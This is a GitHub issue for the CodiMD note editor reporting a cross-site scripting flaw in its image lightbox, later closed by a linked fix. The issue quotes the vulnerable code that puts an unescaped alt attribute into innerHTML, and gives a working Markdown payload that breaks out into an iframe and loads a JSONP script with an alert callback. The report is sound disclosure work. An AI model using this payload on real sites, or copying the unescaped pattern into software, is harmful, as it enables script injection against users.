Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

XSS in lightbox feature #1631

Closed
msrkp opened this issue Dec 20, 2020 · 0 comments · Fixed by #1632
Closed

XSS in lightbox feature #1631

msrkp opened this issue Dec 20, 2020 · 0 comments · Fixed by #1632
Assignees
Labels
Milestone

Comments

@msrkp
Copy link

msrkp commented Dec 20, 2020

XSS is possible by injecting HTML in the alt attribute of img tag.

Vulnerable code: (https://github.com/hackmdio/codimd/blob/develop/public/js/lib/renderer/lightbox/index.js#L77)

const src = img.getAttribute('src')
const alt = img.getAttribute('alt')
lightBoxContainer.querySelector('.lightbox-inner').innerHTML = `<img src="${src}" alt="${alt}" draggable="false">

Markdown to inject.

<img id="msrk" src="https://www.google.com/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png" alt='">"<iframe srcdoc="<b>asd</b><script src=https://vimeo.com/api/oembed.json?format=json&callback=alert&url=https://vimeo.com/286898202 ></script>" ></iframe>' class="md-image md-image">
@Yukaii Yukaii transferred this issue from hackmdio/hackmd-io-issues Dec 21, 2020
@Yukaii Yukaii self-assigned this Dec 21, 2020
@Yukaii Yukaii linked a pull request Dec 21, 2020 that will close this issue
@Yukaii Yukaii added this to the Next milestone Dec 21, 2020
@Yukaii Yukaii modified the milestones: Next, 2.3.0 Dec 25, 2020
edgarogh pushed a commit to WartaPoirier-corp/codimd that referenced this issue Sep 21, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging a pull request may close this issue.

2 participants